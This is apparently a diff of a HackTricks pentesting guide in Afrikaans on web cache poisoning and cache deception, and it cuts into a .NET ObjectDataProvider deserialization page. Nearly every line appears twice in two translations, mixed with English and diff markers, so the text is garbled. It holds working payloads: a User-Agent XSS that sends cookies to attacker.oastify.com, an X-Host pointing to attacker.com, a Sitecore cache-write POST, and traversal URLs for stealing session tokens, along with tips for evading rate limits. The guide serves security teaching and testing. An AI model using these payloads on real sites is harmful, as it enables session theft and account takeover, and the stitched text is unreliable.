### Cache poisoning through CDNs
In **[hierdie skrywe](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** word die volgende eenvoudige scenario verduidelik:
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** word die volgende eenvoudige scenario verduidelik:
- Die CDN sal enigiets onder `/share/` kas.
- Die CDN sal NIE `%2F..%2F` decodeer of normaliseer nie, daarom kan dit gebruik word as **pad traversering om toegang te verkry tot ander sensitiewe plekke wat gekas sal word** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Die webbediener SAL `%2F..%2F` decodeer en normaliseer, en sal antwoordgee met `/api/auth/session`, wat **die auth token bevat**.
- Die CDN sal enigiets onder `/share/` cache
- Die CDN sal NIE `%2F..%2F` decodeer of normaliseer nie, daarom kan dit gebruik word as **path traversal om toegang te kry tot ander sensitiewe lokasies wat cached sal word** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Die web server SAL `%2F..%2F` decodeer en normaliseer, en sal antwoord met `/api/auth/session`, wat **die auth token bevat**.
### Gebruik van web cache vergiftiging om koekie-hantering kwesbaarhede te ontgin
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy dalk XSS in verskeie kliënte ontgin wat die kwaadwillige kasantwoord laai.
Cookies kan ook in die respons van 'n bladsy weerspieël word. As jy dit byvoorbeeld kan misbruik om 'n XSS te veroorsaak, kan jy XSS exploit in verskeie clients wat die kwaadwillige cache-respons laai.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Let wel dat as die kwesbare koekie baie deur die gebruikers gebruik word, gereelde versoeke die cache sal skoonmaak.
Let wel: as die kwesbare cookie wyd deur gebruikers gebruik word, sal normale versoeke die cache skoonmaak.
### Generering van verskille met afdelings, normalisering en punte <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generering van afwykings met skeidingstekens, normalisering en punte <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Kontroleer:
Kyk:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache vergiftiging met pad traversering om API-sleutel te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Hierdie skrywe verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat pas by `/share/*` gegee sal word, sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
Dit word ook beter verduidelik in:
@ -115,18 +117,18 @@ Dit word ook beter verduidelik in:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word, en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
Soms sal jy nodig hê om **exploit several unkeyed inputs** sodat jy 'n cache kan misbruik. Byvoorbeeld, jy kan 'n **Open redirect** vind as jy `X-Forwarded-Host` op 'n domain wat jy beheer stel en `X-Forwarded-Scheme` op `http`. As die **server** alle **HTTP** versoeke **to HTTPS** **forwarding** en die header `X-Forwarded-Scheme` as die domeinnaam vir die redirect gebruik word, kan jy beheer waarheen die bladsy deur die redirect gewys word.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Exploiting with limited `Vary`header
### Exploiting met beperkte `Vary`header
As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie gebruikersagent:
As jy ontdek dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS resource te laai** maar die **`Vary`** header in die response aandui **`User-Agent`**, moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltrate en die cache te poison met daardie user agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -135,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die kasbediener die een uit die URL kas, sal enigeen wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
Stuur 'n GET-versoek met die versoek in die URL en in die body. As die web server dié uit die body gebruik, maar die cache server kas die een uit die URL, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle by die Github-werf gevind het:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -144,126 +146,143 @@ Content-Length: 22
report=innocent-victim
```
Daar is 'n portswigger laboratorium oor hierdie: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
Daar is 'n PortSwigger-lab oor dit: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloaking
### Parameter Cloacking
Byvoorbeeld, dit is moontlik om **parameters** in ruby bedieners te skei met die karakter **`;`** in plaas van **`&`**. Dit kan gebruik word om ongekeyde parameterwaardes binne gekeyde te plaas en dit te misbruik.
Byvoorbeeld is dit moontlik om **parameters** in ruby-servers te skei deur die karakter **`;`** in plaas van **`&`** te gebruik. Dit kan gebruik word om unkeyed parameter values binne keyed ones te plaas en misbruik daarvan te maak.
Portswigger laboratorium: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning deur HTTP Request Smuggling te misbruik
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Leer hier oor hoe om [Cache Poisoning-aanvalle deur HTTP Request Smuggling te misbruik](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Leer hier hoe om [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Geoutomatiseerde toetsing vir Web Cache Poisoning
### Automated testing for Web Cache Poisoning
Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties vir web cache poisoning te toets. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.
Voorbeeld gebruik: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-geassisteerde cache seeding (User-Agent, outo-gecacheerde .js)
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Hierdie werklike patroon kettings 'n header-gebaseerde refleksie primitief met CDN/WAF gedrag om betroubaar die gegeurde HTML wat aan ander gebruikers bedien word, te vergiftig:
Hierdie werklike-wêreld patroon koppel 'n header-gebaseerde reflection primitive aan CDN/WAF-gedrag om die cached HTML wat aan ander gebruikers bedien word betroubaar te poison:
- Die hoof HTML het 'n onbetroubare versoekheader (bv. `User-Agent`) in uitvoerbare konteks weerspieël.
- Die CDN het cache headers verwyder, maar 'n interne/oorsprong cache het bestaan. Die CDN het ook outomaties versoeke met statiese uitbreidings (bv. `.js`) gegecache, terwyl die WAF swakker inhoudinspeksie op GETs vir statiese bates toegepas het.
- Versoekvloei quirks het 'n versoek na 'n `.js` pad toegelaat om die cache sleutel/variant wat vir die daaropvolgende hoof HTML gebruik is, te beïnvloed, wat kruis-gebruiker XSS via header refleksie moontlik maak.
- Die hoof-HTML reflekteer 'n onbetroubare request header (e.g., `User-Agent`) in 'n executable context.
- Die CDN het cache headers verwyder maar daar was 'n internal/origin cache. Die CDN het ook versoeke wat eindig in statiese extensies (e.g., `.js`) outomaties gecache, terwyl die WAF 'n swakere inhoudsinspeksie op GETs vir statiese assets toegepas het.
- Kinkels in die request-flow het toegelaat dat 'n versoek na 'n `.js`-pad die cache key/variant beïnvloed wat gebruik is vir die daaropvolgende hoof-HTML, wat cross-user XSS via header reflection moontlik maak.
Praktiese resep (waargeneem oor 'n gewilde CDN/WAF):
Praktiese resep (waargeneem by 'n gewilde CDN/WAF):
1) Van 'n skoon IP (vermy vorige reputasie-gebaseerde afgraderings), stel 'n kwaadwillige `User-Agent` in via blaaiers of Burp Proxy Match & Replace.
2) In Burp Repeater, berei 'n groep van twee versoeke voor en gebruik "Stuur groep in parallel" (enkele-pakket modus werk die beste):
- Eerste versoek: GET 'n `.js` hulpbronpad op dieselfde oorsprong terwyl jy jou kwaadwillige `User-Agent` stuur.
- Onmiddellik daarna: GET die hoofblad (`/`).
3) Die CDN/WAF routering wedloop plus die outo-gecacheerde `.js` saai dikwels 'n vergiftigde gegeurde HTML variasie wat dan aan ander besoekers bedien word wat dieselfde cache sleutel toestande deel (bv. dieselfde `Vary` dimensies soos `User-Agent`).
1) Vanaf 'n skoon IP (vermy vorige reputasie-gebaseerde afgrade), stel 'n kwaadwillige `User-Agent` via jou browser of Burp Proxy Match & Replace.
2) In Burp Repeater, berei 'n groep van twee requests voor en gebruik "Send group in parallel" (single-packet mode werk die beste):
- Eerste versoek: GET 'n `.js` resource pad op dieselfde origin terwyl jy jou kwaadwillige `User-Agent` stuur.
- Meteens daarna: GET die hoofblad (`/`).
3) Die CDN/WAF routing race plus die outomaties gecachte `.js` saai dikwels 'n poisoned cached HTML-variant wat dan bedien word aan ander besoekers wat dieselfde cache key-voorwaardes deel (e.g., dieselfde `Vary` dimensies soos `User-Agent`).
Voorbeeld header payload (om nie-HttpOnly koekies te exfiltreer):
Voorbeeld header-payload (om non-HttpOnly cookies te eksfiltreer):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
Operasionele wenke:
- Baie CDNs verberg cache headers; vergiftiging mag slegs op multi-uur verfris siklusse verskyn. Gebruik verskeie waarnemings-IP's en beperk om koerslimiet of reputasie-triggers te vermy.
- Om 'n IP van die CDN se eie wolk te gebruik, verbeter soms die routering konsekwentheid.
- As 'n streng CSP teenwoordig is, werk dit steeds as die refleksie in die hoof HTML-konteks uitgevoer word en CSP inline uitvoering toelaat of deur die konteks omseil word.
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
- Using an IP from the CDN's own cloud sometimes improves routing consistency.
- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
Impact:
Impak:
- As sessie koekies nie `HttpOnly` is nie, is nul-klik ATO moontlik deur massale eksfiltrasie van `document.cookie` van alle gebruikers wat die vergiftigde HTML ontvang.
- If session cookies arent `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
Defenses:
Verdedigings:
- Stop om versoek headers in HTML te reflekteer; kodeer streng konteks as dit onontbeerlik is. Align CDN en oorsprong cache beleide en vermy variasie op onbetroubare headers.
- Verseker dat WAF inhoud inspeksie konsekwent toepas op `.js` versoeke en statiese paaie.
- Stel `HttpOnly` (en `Secure`, `SameSite`) op sessie koekies.
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
## Vulnerable Examples
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecorespecific pattern enables unauthenticated writes to the HtmlCache by abusing preauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
This skryf ewekansige HTML onder 'n deur die attacker gekose cache key, wat presiese vergiftiging moontlik maak sodra cache keys bekend is.
Vir volledige besonderhede (cache key construction, ItemService enumeration en a chained postauth deserialization RCE):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Kwetsbare Voorbeelde
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS het die fragment binne die URL voortgegee sonder om dit te verwyder en het die cache sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So die versoek `/#/../?r=javascript:alert(1)` is na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
ATS het die fragment in die URL deurgestuur sonder om dit te verwyder en het die cache key slegs gebou op die host, path en query (wat die fragment ignoreer). Dus is die versoek `/#/../?r=javascript:alert(1)` na die backend gestuur as `/#/../?r=javascript:alert(1)` en die cache key het nie die payload daarin gehad nie, slegs host, path en query.
### GitHub CP-DoS
Die stuur van 'n slegte waarde in die content-type header het 'n 405 cached response geaktiveer. Die cache sleutel het die koekie bevat, so dit was slegs moontlik om ongeauthentiseerde gebruikers aan te val.
Deur 'n slegte waarde in die content-type header te stuur, is 'n 405 gekashde reaksie veroorsaak. Die cache key het die cookie bevat, so dit was slegs moontlik om nie-geauthentiseerde gebruikers aan te val.
### GitLab + GCP CP-DoS
GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **header `x-http-method-override`**. So dit was moontlik om die header `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë response liggaam terug te gee. Dit kon ook die metode `PURGE` ondersteun.
GitLab gebruik GCP buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **header `x-http-method-override`**. Dus was dit moontlik om die header `x-http-method-override: HEAD` te stuur en die cache te vergiftig sodat dit 'n leë response body teruggee. Dit kon ook die metode `PURGE` ondersteun.
### Rack Middleware (Ruby on Rails)
In Ruby on Rails toepassings word Rack middleware dikwels gebruik. Die doel van die Rack kode is om die waarde van die **`x-forwarded-scheme`** header te neem en dit as die versoek se skema in te stel. Wanneer die header `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` header erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
In Ruby on Rails toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** header te neem en dit as die versoek se scheme in te stel. Wanneer die header `x-forwarded-scheme: http` gestuur word, gebeur 'n 301-omleiding na dieselfde ligging, wat moontlik 'n Denial of Service (DoS) vir daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` header erken en gebruikers na die gespesifiseerde host herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n attacker se bediener, wat 'n sekuriteitsrisiko inhou.
### 403 and Storage Buckets
Cloudflare het voorheen 403 responses gegee. Pogings om S3 of Azure Storage Blobs met onkorrekte Owerheids headers te benader, sou 'n 403 response lewer wat gegee is. Alhoewel Cloudflare opgehou het om 403 responses te cache, mag hierdie gedrag steeds in ander proxy dienste teenwoordig wees.
Cloudflare het voorheen 403-responsies gekash. Om S3 of Azure Storage Blobs met verkeerde Authorization headers te probeer bereik, sou 'n 403-respons tot gevolg hê wat gekash is. Alhoewel Cloudflare opgehou het om 403-responses te cache, mag hierdie gedrag steeds in ander proxy-dienste voorkom.
### Injecting Keyed Parameters
Caches sluit dikwels spesifieke GET parameters in die cache sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gegee. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) ook met 'n foute waarde gestuur is, sou die cache sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request fout.
Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly's Varnish het die `size` parameter in versoeke gekoos. As 'n URL-encoded weergawe van die parameter (bv. `siz%65`) ook met 'n verkeerde waarde gestuur is, sou die cache key saamgestel word met die korrekte `size` parameter. Die backend sou egter die waarde in die URL-encoded parameter verwerk. URL-encoding van die tweede `size` parameter het gelei tot die weglating daarvan deur die cache maar tot die gebruik daarvan deur die backend. Om hieraan 'n waarde van 0 toe te ken het 'n cache-bare 400 Bad Request fout tot gevolg gehad.
### User Agent Rules
Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies, kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoë-traffiek gereedskap soos FFUF of Nuclei om bedienerbelasting te bestuur. Ironies kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
### Illegal Header Fields
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in header name. Headers wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request response te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat headers met ongeldige karakters deurgee en enige 400 fout cache, solank die `cache-control` header nie teenwoordig is nie. 'n Eksploiteerbare patroon is geïdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request fout sou lewer.
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die toelaatbare karakters in headername. Headers wat karakters buite die gespesifiseerde **tchar**-reeks bevat, behoort ideaal 'n 400 Bad Request response te veroorsaak. In die praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat headers met ongeldige karakters deurstuur en enige 400-fout cacheer, solank die `cache-control` header nie teenwoordig is nie. 'n Benutbare patroon is geïdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos `\`, gelei het tot 'n cache-bare 400 Bad Request fout.
### Finding new headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
## Cache Deception
Die doel van Cache Deception is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.
Die doel van Cache Deception is om kliënte te laat laai hulpbronne wat deur die cache gestoor gaan word en wat hulle sensitiewe inligting bevat.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die response stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
Ander dinge om te toets:
Other things to test:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Gebruik minder bekende uitbreidings soos_ `.avif`
- _Use lesser known extensions such as_ `.avif`
Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) teruggegee gaan word en die cache bediener die resultaat gaan stoor.\
Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
Let daarop dat die **cache proxy** moet wees **gekonfigureer** om **lêers** **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
Leer hier hoe om [Cache Deceptions aanvalle uit te voer wat HTTP Request Smuggling misbruik](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
## Outomatiese Gereedskap
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skandeerder om web cache vergiftiging kwesbaarhede in 'n lys van URL's te vind en verskeie inspuitings tegnieke te toets.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner om web cache poisoning kwetsbaarhede in 'n lys URL's te vind en verskeie injection techniques te toets.
## References
## Verwysings
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -273,6 +292,7 @@ Leer hier hoe om [Cache Deceptions aanvalle uit te voer wat HTTP Request Smuggli
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +1,38 @@
# Basiese .Net deserialisering (ObjectDataProvider gadget, ExpandedWrapper, en Json.Net)
# Basiese .Net deserialisering (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Hierdie pos is toegewy aan **die begrip hoe die gadget ObjectDataProvider uitgebuit word** om RCE te verkry en **hoe** die Serialisering biblioteke **Json.Net en xmlSerializer misbruik kan word** met daardie gadget.
This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
## ObjectDataProvider Gadget
Volgens die dokumentasie: _die ObjectDataProvider Klas Wrapping en skep 'n objek wat jy kan gebruik as 'n binding bron_.\
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrêre objek** te **wrapping**, gebruik _**MethodParameters**_ om **arbitrêre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrêre funksie** van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.\
Daarom sal die arbitrêre **objek** 'n **funksie** met **parameters uitvoer terwyl dit gedeserialiseer word.**
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat het hierdie klas wat so interessant is: Hierdie klas laat toe om **'n arbitrêre object te wrap**, gebruik _**MethodParameters**_ om **arbitrêre parameters te stel**, en dan **MethodName te gebruik om 'n arbitrêre funksie aan te roep** van die arbitrêre object wat gedefinieer is met die arbitrêre parameters.\
Daarom sal die arbitrêre **object** 'n **funksie** met **parameters** uitvoer terwyl dit gedeserialiseer word.
### **Hoe is dit moontlik**
Die **System.Windows.Data** naamruimte, wat binne die **PresentationFramework.dll** by `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` gevind word, is waar die ObjectDataProvider gedefinieer en geïmplementeer word.
Die **System.Windows.Data** namespace, gevind binne die **PresentationFramework.dll** by `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is waar die ObjectDataProvider gedefinieer en geïmplementeer is.
Met [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy die **kode** van die klas waarin ons belangstel, **ondersoek**. In die beeld hieronder sien ons die kode van **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Metode naam**
Deur [**dnSpy**](https://github.com/0xd4d/dnSpy) te gebruik kan jy die **kode inspekteer** van die klas waarin ons belangstel. In die beeld hieronder sien ons die kode van **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Soos jy kan waarneem, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
Soos jy kan opmerk, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
![](<../../images/image (319).png>)
Goed, kom ons gaan voort om te sien wat `this.BeginQuery()` doen. `BeginQuery` word oorgeskryf deur `ObjectDataProvider` en dit is wat dit doen:
Ok, kom ons gaan voort en kyk wat `this.BeginQuery()` doen. `BeginQuery` word deur `ObjectDataProvider` oorskryf en dit is wat dit doen:
![](<../../images/image (345).png>)
Let daarop dat dit aan die einde van die kode `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
Let wel dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
![](<../../images/image (596).png>)
Let daarop dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit toon die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan** dit is die lyn waar die **metode stel aangeroep word**.
